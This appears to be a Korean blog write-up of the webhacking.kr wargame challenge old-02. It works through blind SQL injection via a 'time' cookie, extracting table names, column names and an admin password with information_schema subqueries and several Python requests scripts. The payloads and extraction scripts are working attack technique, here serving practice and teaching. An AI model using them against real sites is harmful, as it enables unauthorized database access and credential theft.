Web/Web Hacking (Wargame)

[webhacking.kr] old-02

728x90

🔎 Check & Analyze


webhacking.kr의 old 2번 문제

문제에서 제공하는 페이지에 접속하면 위와 같은 페이지가 나타난다.

주석에는 현재 시간과 admin.php에 접속하면 ass를 kick 해버리겠다는 메시지를 확인할 수 있다.

 

🍪 time 쿠키 변조

쿠키를 확인해보면  

time 값이 따로 있는 걸 볼 수 있다.

이 값을 변조해보자!

 

입력한 쿠키의 값이 반영되는 것을 확인할 수 있다.

 

time 에 대한 값이 실제로 코드에 반영이 되는 반면, 0(거짓)으로 변조하는 경우에는 초기의 코드로 돌아가는 것을 확인할 수 있다.

 

만약 거짓에 대한 결과가 궁금하다면

SQL 문으로 거짓 값을 입력해줄 수 있다.

 

이로써 확실히 SQL 구문이 적용되는 것을 알 수 있다.

 

⬛ Blind SQL Injection

select count(table_name) from information_schema.tables where table_schema=database()

현재의 데이터베이스에 있는 테이블의 개수

주의할 점은 SQL 구문을 ()로 감싸야한다는 것이다.

결과를 확인해보면 초의 가장 끝자리가 2로, 그 결과가 2라는 것을 알 수 있다.

즉, 현재 테이블이 2개 있다는 것이다.

 

하나씩 테이블의 이름을 확인해보자!

먼저 가장 앞에 있는 테이블의 이름의 길이는 13인 것을 확인했다.

더보기
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL

cookie = {
    'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
    'time': ''
}

tc = string.ascii_letters + string.digits + string.punctuation

# length (1)
query_len1 = '(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)'
cookie['time'] = query_len1
req = requests.get(url, cookies=cookie)
# req 결과 코드 가져옴
print(req.text)

 

두 번째 테이블의 길이와 테이블의 이름들까지 알아보자!

 

select ascii(substring(table_name, idx, 1)) from information_schema.tables where table_schema=database() limit 0, 1

테이블의 이름을 아스키 코드의 형태로 하나씩 읽어오는 sql 구문

여기서 조심해야 하는 것은, 테이블의 오프셋과 달리 문자열의 인덱스는 1번부터 시작한다는 것이다.

01:37은 60+37 = 97초로, 97에 해당하는 문자는 'a'이다. 

더보기
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL

cookie = {
    'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
    'time': ''
}

tc = string.ascii_letters + string.digits + string.punctuation

query = '''

(select ascii(substring(table_name, {idx}, 1)) from information_schema.tables where table_schema=database() limit 0, 1)
'''

# table_name (1)
for i in range(1,14):
    cookie['time'] = query.format(idx=i).strip('\n')
    req = requests.get(url, cookies=cookie)
    print(req.text)

# 97 100 109 105 110 95 97 114 101 97 95 112 119
# admin_area_pw

 

#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL

cookie = {
    'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
    'time': ''
}

tc = string.ascii_letters + string.digits + string.punctuation

query = '''

(select ascii(substring(table_name, {idx}, 1)) from information_schema.tables where table_schema=database() limit 1, 1)
'''

# table_name (2)
for i in range(1,4):
    cookie['time'] = query.format(idx=i).strip('\n')
    req = requests.get(url, cookies=cookie)
    print(req.text)

# 108 111 103
# log

 

이렇게 테이블의 이름을 알아내면, 첫 번째 테이블에 password가 있음을 추측해볼 수 있다.

(select length(column_name) from information_schema.columns where table_name="<table_name>")

<table_name>이라는 테이블의 칼럼 이름의 길이를 반환한다.
더보기
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL

cookie = {
    'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
    'time': ''
}

tc = string.ascii_letters + string.digits + string.punctuation

query = '''
(select length(column_name) from information_schema.columns where table_name="admin_area_pw")
'''

# column_length
cookie['time'] = query.strip('\n')
req = requests.get(url, cookies=cookie)
print(req.text)

칼럼 이름의 길이를 알아냈다면 앞에서와 마찬가지로 칼럼의 이름을 알아낸다.

(select ascii(substr(column_name, 1, 1) from information_schema.columns where table_name="<table_name>")
더보기
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL

cookie = {
    'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
    'time': ''
}

tc = string.ascii_letters + string.digits + string.punctuation

query = '''
(select ascii(substr(column_name, {idx}, 1)) from information_schema.columns where table_name="admin_area_pw")
'''

# column_name
cookie['time'] = query.format(idx=1).strip('\n')
req = requests.get(url, cookies=cookie)
print(req.text)

cookie['time'] = query.format(idx=2).strip('\n')
req = requests.get(url, cookies=cookie)
print(req.text)

 

칼럼 이름: pw

 

마지막으로 칼럼의 값(=passowrd)를 읽어오자!

1. 비밀번호의 길이

2. 비밀번호 아스키값

더보기
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL

cookie = {
    'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
    'time': ''
}

tc = string.ascii_letters + string.digits + string.punctuation

query = '''
(select length(pw) from admin_area_pw)
'''

# password_length
cookie['time'] = query.strip('\n')
req = requests.get(url, cookies=cookie)
print(req.text)

 

더보기
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL

cookie = {
    'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
    'time': ''
}

tc = string.ascii_letters + string.digits + string.punctuation

query = '''
(select ascii(substr(pw, {idx}, 1)) from admin_area_pw)
'''

# password
for i in range(1, 18):
    cookie['time'] = query.format(idx=i).strip('\n')
    req = requests.get(url, cookies=cookie)
    print(req.text[5:25])

107 117 100 111 115 95 116 111 95 98 101 105 115 116 108 97 98

 

🔓 Exploit


password까지 알아냈다면 이제 admin.php로 넘어가서 password를 입력해본다!

SMALL

'Web > Web Hacking (Wargame)' 카테고리의 다른 글

[webhacking.kr] old-05  (0) 2022.12.22
[webhacking.kr] old-06  (0) 2022.12.21
[Dreamhack] Carve Party  (0) 2022.04.24
[HackCTF] hidden  (0) 2021.08.13
[HackCTF/Web] 1번. /  (0) 2021.08.09